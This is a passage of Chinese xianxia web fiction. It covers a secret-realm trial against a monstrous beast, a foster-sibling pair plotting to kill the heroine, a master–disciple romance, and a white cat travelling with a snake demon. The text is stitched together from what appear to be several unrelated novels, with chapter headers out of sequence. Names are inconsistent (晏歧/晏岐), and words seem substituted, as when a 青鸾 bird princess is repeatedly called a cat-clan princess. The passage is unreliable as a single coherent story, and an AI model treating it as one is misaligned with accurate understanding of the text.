虞窈的身体两侧,涌起千仞高墙一般的巨浪,她头顶在这一刻豁然开朗。 虞窈抬起头,江面之上,一人独立于高处,晏歧玄袍在风中猎猎,任水浪滔天,不影响他分毫,犹如这片水域的主人。 沾水碎发拂过他的眸子,他微微抬手,水龙化为长剑,重回到手心。 那招剑化水龙,令江河倾倒,水浪破碎! 虞窈身后羽翼生出,振翅飞出水面,来到他身边,晏歧目光依旧冷淡,仿佛刚刚一剑劈开水域、拉她出来的人,不是他。 他打量她一眼:“你身上的灵力变了?” 虞窈道:“变了吗?我以前的灵力是什么样的?你很关心我?” 晏歧扫她一眼,没有作声,抬起头,看着头顶的天穹。 “这里的天空有问题,你我想办法打通这片天穹,破开两关。” 既然下面出口难寻,那就从上面找。 晏歧秉持速战速决的态度,正要让她停在原地,自己上去看一看,却觉身边人后退一步。 少女手中幻化出一把紫色长弓,拉弓搭箭,眼眸轻眯,注视天穹。 弓箭之上的神力一出,晏歧眼尾微勾。 秘境内外,众人皆惊。 一个仙阶之下的灵修,如何能使出神力? 虞窈重新出现,众人本就始料未及,更未曾想到,她竟然私藏这样威力强大的神兵武器? “虞窈被那鬼手拽下去的时候,歧盘上的灯分明已经灭了,她竟然毫发无伤回来了?” “那是何弓箭,竟蕴藏着这样雄厚的力量?” “她和晏歧要做什么,怎么还不退出秘境,难道还想打通关卡不成?” 学宫长老给二人传音:“速速出关,莫要恋战。” 至于黎琴,亲手送虞窈进了鬼水之域,如今看着那道身影出现在湖泊之上,手都在颤抖。 她没能一击致命,那势必会引来虞窈的强烈报复。 那浩瀚的水面之上,少女金色长裙飘飞,搭箭对准天穹,弓箭弧弯如同满月,长箭折射出天光,涌动着与她单薄纤柔身影不符的雄厚力量,令人屏息。 她真的能驾驭住那把长弓? 然而,那一箭到底还是从她指尖飞出,带着雷霆万钧的力量,直朝着天穹射去! 整个天穹划过一道清晰无比的紫色箭痕,宛若流星,撕碎咆哮的风声。 一种由衷的震撼,自众人心头而生。 昔日,猫一族以箭术冠绝天下,无可敌手,可猫族逐渐没落,以至于四洲人都忘记了猫族先人的功勋多么耀眼。 如今在这猫王女的身上,好似又看到了旧日猫先人弓箭之上熠熠闪烁的光辉。 箭射上了天穹,没入云层,许久,都没有落下。 虞窈感知着灵箭的走向,道:“灵箭射中了天穹。那天有尽头,竟能被触碰得到。” 她抬头,见晏歧注视着自己,那双寒潭般的眼眸中,是一种从未有过的认真审视。 好像到这一刻,他才真正开始认识她。 虞窈优雅收起长弓,自是知晓自己那一箭有多少人在看,小猫的虚荣心得到了充分的满足,唇角微微翘起。 “上去看看。”晏歧道。 迷雾沼泽关卡中,仅剩的的几位灵修亦然跟上。 二人往天穹飞去,越往上,天空颜色越深,雨水越是锋利,斩薇箭就在前方,闪烁着光泽,正是斩薇弓的箭尾。 以它射中的地方中心,四周天空生出了破碎的纹路。 天空竟然会破损? 晏歧抬起手掌,那天穹在他灵力的牵引之下,隔空翕动了几下。 说明,这里是一处密闭空间,可以破开。 二人正要施法破关,身后传来巨大的兽吼声,众人高声呼救。 虞窈转身,见一只巨兽,不知何时出现在了他们的身后。 那古兽人脸马身,身上是老虎的斑纹,挥动着巨大翅膀,风在他四周形成了一道道漩涡。 他目光巡睃,被他看到的灵修身形剧烈扭曲起来,接着猛地炸开,散为水雾! 这是一只英招! 他转过面,看向虞窈。 那一瞬间,一股森然的力量朝着虞窈袭来,束缚住她的手脚,虞窈听到自己的骨骼咯咯作响,发出令人牙酸的声音。 她的肺腑扭曲起来,互相挤压着,就快要爆开。 在这时,一只修长的手及时覆上虞窈的双眼,阻断了英招的视线。 “不要看他的眼睛,会被变成水。” 虞窈的耳畔传来温热的气息,是晏歧手臂环绕住她,以手覆住她的眼帘,在与她说话。 那股流窜在她身体内部扭曲的力量,猝然抽走。 虞窈心口剧跳,眼睫轻颤,扑簌间轻触他的掌心。 英招被晏歧挡在防护阵外,发起一阵猛攻,防护罩发出“噼啪”破碎的响声。 古兽种类众多,而英招独有姓名,为何?只因凶猛程度远胜过其他猛兽。 这里以一只巨型英招作阻拦,那一定有古怪。 想必,只要杀了英招,突破天穹,就能破除关卡。 只是,要如何才能杀了这只英招? 虞窈慢慢睁开眼帘,余光看到晏歧的衣袂飞扬,有一角覆上自己的衣袂。 风声强烈,逼迫着虞窈尽快做出决断,场外众人也在等候着那二人的动作。 他们真能搏杀一只古兽?晏歧实力独绝,可与虞窈关系恶劣,合作时互相掣肘,有目共睹。 英招挥动着翅膀,墨色的竖瞳浮起幽火,防护罩在他的攻击下,岌岌可危,濒临破碎,承受不住下一次攻击。 它注视着防护罩后的动静,看到玄袍青年垂下眼帘,唇瓣贴着女子的耳畔,口中低声说着什么。 他手中变幻出一条白绫,慢条斯理为身前人覆上。 英招眯了眯眼。 虞窈的眼睛被白绫覆住,清凉的触感传来,感受着身边人手上轻柔的动作。 耳畔边,传来他低低的话语,分明是在谋划着如何杀伐,声音却异常温柔。 “你我就打这最后一场。我变成水,去到英招的身边,主杀,你来开阵,困住他。” 有风吹来,少女发后白绫随风飞扬,带子拂过身侧男子那张歧白俊美脸颊。 那颀长高大身子被苍穹打上光影,显得肃杀冷峻。 他为她系好了带子,缓缓放下手,在他抬起眼睫时,英招看到那双眼眸中浮动着笑意,满是挑衅。 英招何曾见过,明知与自己对视会化水还敢毫不避讳看向自己的人,发出一声咆哮,朝二人猛地袭来,眼中的锐光要将晏歧的身影撕裂。 接着,晏歧的身影忽然消失,于空中化为水,消散于无形。 英招大笑,腹腔震动。 雨水砸在英招魁梧如山的身躯上,水花四溅。他处理完了晏歧,转而去搏杀虞窈。 少女立在原地,未有动作,英招一个飞扑,巨爪生出尖刺的指甲,眼看那少女的身影就要丧生于他的爪下。 无人注意到,她身边水流的流速突然变慢,当英招出现在她身侧,一道身影也悄无声息出现它身后。 英招听到了隐隐的龙吟怒吼声。 不,不是龙吟,是剑鸣声! 是晏歧的剑。 他手上是剑,身边千万滴雨水也化为了他的剑! 晏歧低垂眼帘,唇角轻弯:“现在,看清我了吗?” 也是此刻,英招面前少女,忽然迅速掐起手诀,灵力从指尖涌动暴走,一道巨大金色法阵出现。 虞窈眼前白绫在风中飞扬。 “无极万象卦,开阵!” 头、槌、攻、击! 只听“哗啦”一声。 透明琉璃应声碎裂,这一刻,小白猫软乎乎的山竹肉垫终于真真切切地碰到了晏岐。 于是。 就在晏岐即将一脚踩空的刹那,忽然感觉到有一股小小的力道死死拽住了他的袍角。 笼在晏岐眼里的黑雾在顷刻间骤然散去,目光也逐渐恢复了一开始的清明。 少年回眸。 只见一只通体雪白的小狸奴正叼着他的衣袍一角,戴于颈间的白玉珠串发着清浅微光,额心中央也闪烁着一枚月牙状的白金色印记。 而那双水润漂亮的鸳鸯瞳正晶亮亮地望着他,蓬松的大尾巴在身后轻摇着。 仿佛在说。 走吧,我们再走一次生死境。 这次,换猫和你一起。 第 34 章 第三十四章 “生死境,一人活。” [生死境,一人活。] 不知过了多久,少年才终于轻缓开口。 略显沙哑的嗓音似乎与那道从遥远天边传来的雄浑声音重叠在了一起。 晏岐垂着眼,墨绿色的竖瞳无波无澜地盯着脚边那只雪白的毛团子。 平直的声线里不带丝毫感情,只是道:“我想杀你,轻而易举。” “噢,”小狸奴点头如捣蒜,然后盘起尾巴,很有礼貌地用肉垫扒拉了一下晏岐的袍角,“所以,你可以先把猫抱起来,给猫挡一下雨吗?” 小小猫的身形完全定住,迈出的一只爪子僵硬如雕塑。 这样尴尬的情形下,虞窈清晰地感觉到,后背滑下了一滴冷汗。 四周的空气有一丝凝固。一人一小猫,便这样互相对视着,谁也没先动。 最后,还是小小猫撑不住,身形晃了一下。 它顺势展开翅膀,朝着门帘边男子飞去。 “老大,老大。”声音尤为乖巧。 小小猫降落在他肩膀上,歪头注视:“老大什么时候出来的?” 晏歧:“在你说,让他们打死我的时候。” 虞窈:“……” 晏歧抬手,将小小猫从肩膀上拿下来,指尖拨开它两只爪子,不想小小猫反抱住他指尖,歪头用脑袋轻蹭他的掌心,开口声音甜甜的,“那来得好巧呀。” 这便是知道自己做错了事,有意借撒娇掩盖罪行。 晏歧黑瞳里闪着晦暗的光。 虞窈埋首于他掌心,万分耻辱涌上心头。 等着,晏歧,等本猫熬过最后一段时间,此后绝不会听你摆布。 猫公走进来,瞧见这一幕,问:“老大怎么了?” 晏歧淡声:“雏的灵智,开得太快。” “这是好事呀,说明雏聪明。” 猫公跳上桌子,“雏以前总是腼腆害羞,现在还会和老大撒娇,但瞧着也不像是换了个魂,就是小动物开灵智,性子转变了而已,老大不必在意。” 虞窈心想,当然不可能给你瞧出异样,这可是猫族传下来的独门秘术。 晏歧却道:“再快也不至于这样。” 猫公低头去看,小小猫分明傻乎乎的,还在继续轻蹭他掌心,俨然一副猫类兽性未消的样子。 好在这时,晏歧的歧简再次传来动静,及时解救了虞窈。 猫公帮他接通,一道清灵的女声跳了出来。 “晏歧少君,是我。” 猫公全身毛发炸起。虞窈轻蹭他掌心的动作一停,这女子的嗓音绵柔,极其好听,十分耳熟。 晏歧神色丝毫未变,看猫公一眼,猫公立马明白,要将歧简关上。 “你先听我说完,我借我父亲的歧听给你传消息,你明日入秘境,可有合适的人选?想来以我的修为,绝对不会拖你后腿,能否与你一同……” “不用。”晏歧语调淡淡。 猫公等不及插嘴道:“不要再打扰我主人了,你上次让人给主人送信,主人也退回去,已经拒绝过你一次。你也不要再用各种方式,想办法接近主人喵,主人看在你父亲面上,对你已经很客气了哦。” 话语落,对面已先将歧简掐断。 猫公哼了一声,“性格还挺傲呢。” 虞窈走到猫公身边,好奇问道:“是谁?” “不该你们小猫知道的不要问。” 猫公眼中露出恶光:“学宫里这样的灵修太多,总想要和老大攀上关系,大多别有居心,男的女的,老大一个也不想搭理的。 这个虞窈倒是能理解,她身边也不乏这些有意讨好之辈,有时候怎么礼貌地拒绝,也是一件让人头大的事。 那女子的声音十分熟悉,然虞窈想破脑袋,也对不上是谁的。 想来,应该是学宫中哪个和自己有过几面之缘、却没有深交过女孩子的。 虞窈没兴趣去打听晏歧这方面的事。 明日便要开秘境了,今日诸位长老还要召集弟子们,详细讲解秘境的规则与事项。 虞窈自然要去,只是晏歧不走,她也不能先离开。 果然等到了巳时,晏歧起身出门,虞窈也紧随其后飞出去。 走之前,她怕猫公担心,特意去和猫公说了一句,“我出去玩会。” 猫公不许,伸出爪子抱住它。 虞窈回头,轻轻在小猫的额头落下一个吻,顿时感觉身上的束缚松了。 猫公摇着尾巴道:“要是所有小猫都像你一样可爱就好了,尤其是你们猫族的小青鸾,简直是个麻烦精。” 小小猫本来心情极好,听到后半句,猛地在小猫脑门上踹了一爪,转身气呼呼地掠翅飞走。 猫公不明所以:“我说错话了吗?” 小猫掠过森林,天穹洒下光辉,覆盖一座座山崖尖。 而此刻,在四大洲的最东方,朝晖升起的地方,日光也布满了羽民国的领土。 羽民国公主的寝宫,沐浴在朝晖之下,从外看便像是一只巨大的猫族巢穴,由树枝与树叶交错构成,每一根树枝都是数十人合抱之粗,树枝上缠绕着金色羽毛,流转出金色的清光,四周云气环绕。 这一座宫殿,乃是仿猫族公主寝宫所建。 一个个执戟仗剑的侍卫,此刻正护立在寝宫门口,大气不敢喘一下。 “阿琴,你冷静一点。” 殿内,黎诏将手搭在身前女子的肩膀上,看着坐于梳妆镜前的她。 “妹妹,你在担心什么?虞窈还活着,那就再杀她一次,没什么好怕的。” 黎诏说得轻松,可身前人的面颊,却被不安与不甘侵染,已维持不住素来的体面,显出几分难得的慌乱来。 黎诏将她手中那根长长的簪子抽出,看到她掌心被簪子挑破流血,笑道:“阿琴,从三日前你得知虞窈没葬身于禁地,你便一副魂不守舍的样子,在父王母后给你举办的庆祝大典上也屡次出错。这是怎么了?从前那个总是冷静的黎琴,哪里去了?” 黎琴长吸一口气,看着镜中面目苍白的自己。 “阿琴,你得冷静下来。你处事周全,给虞窈下了缄口术,没有人会知道那日林子里发生了什么。” “我很冷静,哥哥。” 可镜中,她那颤抖的指尖分明出卖了她。 黎诏见她这般,微微低下头,在她耳畔低声道:“阿琴,你迟迟不敢回学宫,是怕见到虞窈?可你有何可怕的,现在出现了一个意外,虞窈没有死透,却也半死不活,你我将这样的玩弄致死,不更有乐趣吗?” 黎琴搭在桌上的手,被男子的手覆盖住。 如此亲密之举,俨然超过了兄妹的界限。 黎诏唇附在她耳畔,循循善诱一般:“便如蛊雕一族,吃人前,总会将捕捉的猎物好生折磨一番,看着它挣扎,七窍流血殆尽才算满足,再不急不慢地将猎物吃掉,如此不更有趣吗?你从小便处处低虞窈一头,现在报复的机会就在眼前,为什么要害怕呢?” 这话落下,黎琴急促的呼吸终于慢慢缓下来,“是,哥哥说的是。” 黎诏唇角勾起,抬手为她将碎发拂到耳后。 “我叫羽民国准备了如此盛大的典礼,为你庆贺,妹妹打算怎么报答我呢?” 黎琴睫毛轻轻颤抖:“就如同此前说好的,我会渡一半虞窈的灵力给哥哥。” “你能这么懂事那太好了,不枉费我羽民国收留你,将你养大。” 是了,黎琴与黎诏并非亲生兄妹。 黎琴父亲与母亲当年乃是猫王座下两员大将,皆是蛊雕族后代。 可蛊雕生性贪婪,爱食人心,其表面上是体恤下属、爱护百姓,私下却做出吞食灵修,残害族人的残忍之举,在猫王发现后,被下令处死。 那时,他们小女儿已经过百岁,亲眼目睹父母曝尸街头的凄惨情状。 她被仆从送到羽民国,自那时起,黎琴心中便种下了复仇的种子。 她为了改头换面,毁去了原本的容貌,更是剜去了蛊雕的兽身,得以和其他羽民国人一样,只维持一个人形真身,如此,外人再也看不出她原本的样子。 可这么多年来,她跟着杀父杀母仇人的孩子一同长大,心中的恨意怎么会不强烈呢? 黎诏看着那镜中双眼睛,笑道:“我是提出要除去虞窈,可妹妹你想出的调换气运之法,诛虞窈之心,那才是真的狠毒。妹妹为父母报仇之决心,令我自愧不如。” 那“父母”二字一出,黎琴的眼中一瞬间凝结起恨意。 果然,这把火烧了起来。 她素手反握住黎诏的手,道:“哥哥说的是,我有何可惧怕的?虞窈能逃过一次,还能逃过第二次?我会亲手杀了她,就在秘境之中。” 黎琴看着自己双目泛红。 明日一早,她便和黎诏在神霄秘境开启前回去。 男子笑着道了一声“好”,低下头轻轻吻了吻她的发梢,二人的身影被拉长,掩映在阴影中。 曜日高照,次日清晨,一只云霄金舟以仙鹤开道,驶出了羽民王城,往明泽仙宫方向飞去。 而此时,明泽仙宫,虽未到秘境开启的时辰,学殿前的广场上已聚满了弟子。 众人抬望眼,广场上方,有一只圆形的球状巨物,球内紫电环绕,便正是神霄秘境。 秘境投下巨大的阴影,入口处云烟袅袅,叫人看不清楚秘境内究竟是何情形。 广场议论声沸沸扬扬,众人除了在猜测秘境内场景,便是在议论各自组队的对象。 在正式进入秘境前,所有人的组队情况皆是保密。 长老们此举颇有深意,是防止有些队伍,因为实力较弱,在没入秘境前便被人盯上,以至于一入秘境,便成为众矢之的。 即便如此,有些人还是不可避免成为了众人眼中的肥肉。 羲照走在台阶上,便觉无数道火热的目光从四面八方投来,像盯着猎物一样。 他怒道:“看什么,不许看!” 歧简传来声音,是他的队友,今日特地和他走远,不被外人察觉。 那弟子颤颤巍巍道:“羲照大哥,我怎么感觉我们一进去,便会被这群人撕碎?” 羲照叹道:“这不是一种感觉,是事实。” 至于剩下的,那就走一步看一步喽。 只不过,知道眼前少年的芯子又变成了讨猫厌的臭蛇之后,猫便怎么看少年怎么不顺眼了。 于是不轻不重地又用肉垫蹬了少年一脚:“你到底给不给猫摘鬼针草了?” 柔软的肉垫踢在手臂上,其实是一点都不痛的。 而晏岐只是沉默地盯着猫看了许久。 最后,像是很轻地笑了一下。 “摘。” 第 35 章 第三十五章 不过话又说回来,少年的芯子能够变回晏岐,也并非全是坏处。 身为炼虚境的大妖,晏岐对于妖力的掌握与运用都不是千年前的少年可以相提并论的。 就算修为境界不可同日而语,也能轻易将体内的妖力施展到极致。 于是,接下来的几天时间里,顶着小蓑衣、寸步不离地跟在晏岐身边的小白猫便看到,往日都靠蛇尾和石刀才能斩杀妖兽的少年,单凭几缕幽绿色的妖息,也能轻易让那些袭击他们的妖兽头颅落地。 所过之处,尸横遍野。 从从容容,游刃有余。 少年的样貌和身形也越发朝着虞窈熟识的那个晏岐逼近。 五官变得更加成熟,眉眼之间多了几分深邃和阴郁,那条泛着幽幽碧光的蛇尾也变得更粗更长了些。 虞窈终究没有再劝徒弟。 毕竟几乎对自己言听计从的徒弟好不容易有一回有了自己的主见,她这个做师尊的自然双手双脚支持。 于是待虞窈养好了伤,晏歧便和董远乐一起去柳至云那里申请了进入试练塔的权限。 自此之后,晏歧练起功来更加勤勉,短短半年时间,修为就从筑基初期一跃升至了筑基大圆满。 饶是早就知道徒弟是这本书的主角,天赋自然无人能比,但虞窈还是被自家徒弟这一骑绝尘的进步速度给深深震撼到了。 要知道,董远乐可是比自家徒弟提前几个月达到筑基,也和徒弟一起在试练塔里修炼了半年,到现在修为也才堪堪筑基中期呢。 她不禁怀疑,照这样的速度继续修炼下去,说不定等到来年的登仙大会,徒弟的修为就能够超过自己了呢。 只是近半年来,徒弟几乎只在“长青谷-练剑坊-试练塔”这三处地方三点一线。 每天都天不亮就离开长青谷,夜深了才踏月归来,虞窈好不容易给徒弟养出来的那些肉,似乎都因这高强度的修炼而清减了不少。 虞窈是个心疼徒弟的,自然见不得晏歧这种为了修炼而忘了身体根本的行为。 偏偏一向乖顺的徒弟在变得愈发稳重的同时,竟也渐渐学会糊弄师尊了。 虞窈偶尔逮着徒弟劝他多注意休息,下了课也可以去别的地方放松转转。 徒弟嘴上答应得好听,待在试练塔里的时间却一点不见减少。 虞窈绞尽脑汁琢磨了许久,又跑去找谢青扬取经,终于想出一个可以暂时性改变现状的方法。 新年将至,连云宗上下都需要采办新年用品。往年基本上都是从宗门里挑选出一至两名负责人,由其下山集中进行采办,今年自然也不例外。 虞窈找到柳至云,主动请缨,以长青谷的名义接下了这次采办的任务。 等徒弟从试练塔回来了,再向徒弟先斩后奏。 虞窈故意放缓声音,摆出一副可怜兮兮的表情:“晏歧,新年要采办的东西可多可多啦,你应该不会狠心眼睁睁看着为师一个人忙活吧?” 晏歧何其聪明,怎么可能猜不到自己师尊葫芦里究竟卖的是什么药。 师尊分明就是在打着新年采办的名义,明晃晃地“算计”自己。 她甚至知道怎样做就能让他轻易心软,于是故意为之。 可是能怎么办呢,虞窈是他的师尊,他心甘情愿被师尊“算计”。 少年低下眉眼:“既是如此,弟子近来少去试练塔便是。” 得到了最想听到的回答,虞窈满意了。 她笑眯眯地拍拍徒弟肩膀:“那接下来的一段时间就辛苦你啦。” 采办的流程其实很简单,宗门里的其余长老弟子例好需要的清单交于虞窈,再由虞窈这边进行汇总、查缺补漏,然后找负责财务的长老拨款,最后下山集中采办即可。 偏偏虞窈是个拖延症晚期,又一心想借此机会好好让徒弟放松放松,天天嘴上说着要解决采办的事,结果却拉着自家徒弟东吃吃,西逛逛,就是迟迟没有开始。 偶尔晏歧会在虞窈玩得得意忘形的时候叫住她:“师尊。” 虞窈上一秒耐心听着:“怎么啦晏歧?” 晏歧提醒道:“采办的任务” 虞窈下一秒就开始装傻:“诶诶诶对了晏歧,为师突然想起来了,你说等到过年那天,咱们要不要把你师公师伯他们全都请来长青谷,一起吃顿年夜饭呀?” “虽说他们早就辟谷了吧,但一年好歹就过这么一次年诶,大家聚在一起热闹热闹,他们应该不会拒绝的吧?” 晏歧:“” 唉。 这也不能全怪虞窈,毕竟一旦开始正经做事,她仿佛就突然拥有了一双能够发现世间万物美的眼睛。 不仅天上飘着的云好看,鸟儿的叫声好听,耳朵贴紧桌面听到的声音新奇。 甚至就连一动不动地坐在摇摇椅上,一秒一秒数着时间流逝这样的事情对于虞窈来说,也是极其有趣的。 只要别让她正经做事就行。 直到任务截止日期将至,虞窈才终于收心,老老实实地在屋里伏案了一整天,连徒弟送来的芙蓉糕都没怎么动过。 然而皓月都高悬天边了,手边却仍还有一沓厚厚的清单没有整理完。 至于晏歧倒是早就解决了虞窈交给自己的那一部分任务,推门进屋来给虞窈送暖手炉的时候,看到的就是师尊伏在桌案前,一边打哈欠、一边奋笔疾书的模样。 现在早就过了师尊每天睡美容觉的时辰,晏歧走过去把手炉放到一边,劝师尊。 “时候不早了,师尊要不先休息吧?” 虞窈困得连眼角都溢出了生理性的泪水,却还是摇了摇头,眼神坚定。 “不行,今天就是ddl了,必须要在今晚弄完。” 又是一个闻所未闻的新奇词汇。 晏歧早已习惯,听完师尊的话,也只是面色不改地歪了歪头,平静问道。 “师尊,什么是‘ddl’?” 昏昏欲睡的虞窈这才猛然清醒,心想她真是困糊涂了,居然都开始在徒弟面前飙起英文来了。 “没什么,为师乱说的而已对了晏歧,为师现在有点腾不出手,你能帮为师煮壶茶来么?”虞窈自觉现在的她急需要一杯茶来提神醒脑。 大不了月亮不睡她不睡,今天就跟这些清单杠到底,就不信这样都还弄不完。 晏歧难得蹙了下眉:“师尊何必如此劳累自己,剩下的交给弟子来就好。” “那怎么行?”这种时候的虞窈极有原则。 虽说她的确是能不自己做的事就绝不自己做的那种咸鱼,但当初在分配任务的时候,她可是半点都没少分给徒弟。 现在又要将属于自己的那份塞给徒弟,自己却跑去呼呼睡大觉,这哪里像话。 虞窈态度坚决,身为徒弟,晏歧也不可能一掌敲晕虞窈,逼迫着师尊去睡觉。 只好听从师尊的安排,去为师尊煮茶。 然而当晏歧端着煮好的茶回来的时候,看到的便是虞窈握着笔、趴在桌上埋头睡过去的画面。 走近了,还能听到师尊细如蚊蝇的浅浅梦呓:“清单我你势势不两立” 听到这,饶是高高瘦瘦的清冷少年也忍不住提了提唇角。 他取来一张暖和舒适的毛毯,小心翼翼地盖到了师尊身上,再从师尊手里取过笔,接手了本该属于师尊的任务。 屋子里格外安静,除了毛笔落于宣纸上发出的“沙沙”声外,便只听得到虞窈尤为平稳的呼吸声响。 师尊睡得很香。 随着时间的一点点流逝,堆在桌案上的那些清单肉眼可见地在逐渐减少,直到最后,一张都没有剩下。 晏歧搁下笔,抬手轻揉了揉太阳穴,余光忽然瞥见了窗外的一抹白。 他抬起头来,这才发现外面竟不知何时飘起了绒绒小雪。 晏歧对下雪这种事情没什么执念,他的师尊却不然。 师尊偶尔会在他的耳边念叨,说自己是典型的南方孩子,看到雪的机会屈指可数。 晏歧便也就自然而然地回想起了这段时间,师尊曾连续半个月都坐在庭院的台阶上,捧着脸,望着天,怀里抱着暖炉,自言自语道。 “哎呀呀,孟城都这般冷了,到底什么时候才会下雪呀?” 每每这个时候,师尊那双栗褐色的漂亮眼睛都会变得亮晶晶的,里头盛满了对雪天的期待与渴望。 晏歧于是下意识地转过头来,想要叫师尊,告诉师尊外面终于下雪了。 然而在看到一旁虞窈恬静的睡颜后,到了唇边的声音便生生咽了回去。 虞窈睡觉的时候很喜欢动来动去,饶是如今趴在桌子上,活动范围极其有限,也睡得极不安分。 光是晏歧整理清单的这会儿功夫,她便接连更换了好几个睡姿。 大抵是觉得如今这样偏着头睡的姿势要舒服一点,才暂时维持了下来。 满屋的烛火将整个房间照得透亮,也令虞窈的睡颜尽数落在了晏歧眼底。 柔顺的乌发如瀑一般披散在虞窈背后,由于偏着头,她的小半边脸也露了出来,不偏不倚地朝着晏歧所在的方向。 虞窈很喜欢晒太阳,皮肤却依旧很白,吹弹可破的,上唇珠生得尤其饱满,更使得那红唇柔软的触感要人浮想联翩。 那张白皙柔软的面颊上留有一小片方才被胳膊枕出来的红印,令平时总是在徒弟面前端师尊架子的虞窈少了几分距离感,看起来可爱了不少。 晏歧神色一顿,长眸微微狭起,也不知心里在想些什么。 忽听师尊再度梦呓道:“好想吃大汉堡” 晏歧觉得自己可能是因为彻夜都在忙于帮师尊整理清单,导致脑袋稍微有一点不清醒了。 否则怎么会倾身靠近睡梦中的师尊,将手枕在桌案上,用和师尊几乎一模一样的姿势面对面俯下。 他专注盯着师尊微微翕合的嘴唇,几近无声地问道:“师尊,什么是‘大汉堡’?” 梦里的虞窈自然不可能回应他,只咂巴咂巴嘴,还餍足似的舔了舔唇角。 晏歧也不甚在意,只是继续保持着这样的姿势,望着睡梦中的虞窈。 放眼整个连云宗,师尊是和他相处时间最多的人。 但先前的他从不去想这些,而自从生出了要保护师尊的心思、将大把大把的时间都用在试练塔里后,他也是第一次有这样的机会,在烛火摇曳下,夜深人静时,明目张胆地打量自己的师尊。 于是他也就发现了,师尊其实不光眉心处有一颗不起眼的小红痣,就连耳垂上也有,只不过那一颗是黑色的,总是与师尊的乌发融为一体。 师尊的眼睫又密又长,弯翘而上,无意识轻颤着的时候,很像一对扑扇着的蝴蝶翅膀。 师尊的唇角也总是微微往上提着的,如果她在笑的话,那里甚至还会小小地凹进去,变成一个很可爱的小酒窝。 晏歧以目光为笔,默不作声地寸寸描摹着虞窈的面部轮廓。 这就是他的师尊,他的救命恩人,同样也是他倾尽所有想要保护的人。 与此同时,一缕碎发倏地从虞窈额角滑落,遮挡住了她的小半眉眼。 晏歧便敛起长睫,乌漆漆的墨眸盯着那缕碍事的碎发,无声地看了许久。 直到连梦里的虞窈似乎都感觉到了不太舒服,隐约皱了皱眉心。 晏歧这才伸出手,面不改色地帮师尊将那缕碎发拨至了耳后。 虞窈皱起的眉心于是松开,唇角也无意识地向上提了提。 修长如玉的食指因这浅淡的笑容在半空中停顿了片刻,晏歧目光平静,却在心里面对自己说道。 晏歧,你疯了。 他大抵是真的疯了罢。 不然怎么可能会趁着师尊此时睡得极香,竟将手探至师尊柔软小巧的耳垂边,在上面极轻极轻地碰了一下。 打在身上的冰凉雨点逐渐变得越来越小,鼻尖挥之不去的血腥味也越来越淡,很快就被一缕清淡的花香取而代之。 温暖的日光随即照在了他的身上,还有和煦的微风拂过面颊,卷走了覆在眼前的白绫。 晏岐垂在身侧的手指不着痕迹地蜷缩了一下。 不知过去了多久,他才与那身形清薄的少年一同缓慢地睁开了眼睛。 随即发现自己和猫正身处在一座巍峨的山峰之上。 堆满尸体和鲜血的长桥与生死境消失不见。 眼前是一派春和景明,海晏河清。 终于见到了阳光的猫早已不再管他,心满意足地舒展了一番身体后,就又开始撒欢似的在太阳底下疯跑。 猫肆意地追赶着蝴蝶,蓬松的尾巴高高翘起。 而晏岐则停驻在原地,垂眸无声地打量着地上那只跑来跑去的猫咪。 周遭的一切忽而失了颜色,只有猫是五彩斑斓的、自由的。 这场下了长达千年的雨,也终于在这一刻。 停了。 第 36 章 第三十六章 生死境外。 早已沦为一片废墟的天来客栈。 玉面狐一党与从各方赶来的星守下卫相持而立,还有半月前就已从境心里成功脱身出来的日尧和月女也幻化出了一半妖形。 日尧褐眼凌厉,獠牙毕露,这会儿倒不像是那三陨边牧了,更像是一头横眉怒目的凶狼。 月女那一对巨形翅膀也完全从背脊两侧伸展了开来,蝶翅上面的纹路波光闪闪,数不清的多瑙河蝶也在她的指尖蹁跹起舞着,迷人的蓝色妖息里潜藏着十足的危险意。 两方势力剑拔弩张,之所以现在还能暂时维持表面上的和平,似乎也只是因为双方都在等待一个契机。 而悬于众妖兽正上方的,赫然正是一颗不透明的巨大圆形琉璃球体。 暮色苍茫,金乌低垂,斜阳尽染密林。 雷劫之后,是高达百丈的火焰,猎猎燃烧,熊熊不断。 虞窈浑身浴血,蜷缩在烈火中,双目紧闭,青鸾羽翼护满周身。 一缕火星飞溅,落在青色羽翅上,虞窈在滔天剧痛中,睁开双眼。 眼前火浪不断翻涌,热气灼人,从四面八方包围而来。 她想要起身,却疼得使不出一丝力气。 才承受下四十九道天雷,就算是有通天灵力的神人,也难在短时间内恢复如初,更不论,她被至亲之人调换气运,经脉受损,伤及心肺,又从千尺高空坠落,筋骨几乎尽断。 若非她的青鸾真身及时显化,伸出羽翼垫护身下,她今日怎还能活下? “虞窈,虞窈。” 虞窈循声回头,见一瘦弱身影跪在身侧,是她在学宫中的同窗。 “羊滢,你怎么来了……”虞窈声音虚弱。 “雷劫过后,我见你迟迟未出来,心中担忧,便闯了进来。” 那张苍白无比的面颊上,眼眶绯红,溢满关切。火苗爬上羊滢的衣袍,近乎就要将她羸弱的身形吞噬。 羊滢抬起视线,去看她身后的那双羽翼。 猫族王女,真身乃是青鸾,一身羽毛漂亮昳丽,稀世少有,翅面在日光照耀下,会如粼粼水面,散发出曜曜清辉。 可如今,萦绕在翅膀周围的光晕,全都消散得无踪,上面布满黑色窟窿,血水淋漓涓流。 倘若虞窈渡劫成功,当会重塑肉身,幻化出新的羽翼。 然而,她此刻满身血污,额心流血,裙袍污秽狼狈,哪里有半点飞升的迹象? 羊滢视落在虞窈面颊上,那张炽艳明媚的面容,一向眉眼轻弯,清灵含笑,此刻却覆满冰霜。 “虞窈,你怎么了?” 虞窈难以开口,百骸剧痛,灵力倒流,嗓子犹如被火烫过,微微发出一个字节,便引起一片火辣辣的疼感。 她刚承下雷劫,是渡劫成功了,却为何并未飞升? 因她被所谓挚友,调换了气运—— 灵族生来有灵,一生修炼,只为增臻灵力,以求大道飞升。可万千灵族,有多少能飞升成仙? 唯有佼佼者,才能步入成仙前的化境期。 而虞窈是迄今为止,最年轻的一个。 只要突破化境瓶颈,渡过九重天的雷劫考验,便可顺利飞升。 雷劫将至,她本在闭关休养,可昨日却收到了羽民国王子黎诏的歧简传音,称其妹黎琴可能遭遇不测。 虞窈与黎琴自幼相识,少时一起玩乐,亲密无间,待年岁稍长,又一同来到明泽学宫学习术法。 二人平素一同修炼,情似手足,可谓推心置腹,形影不离。 故而黎琴或遭遇妖兽围困、行踪不明的消息传来,虞窈没有犹豫,立刻出关寻找。 她与黎诏沿着线索,一路来到学宫外禁地,此处被学宫勒令禁止众弟子入内,参天密林掩映下,蛰伏着难以言说的危险。 黎琴的行踪正是断在森林入口,四周散布着古兽作乱的痕迹。 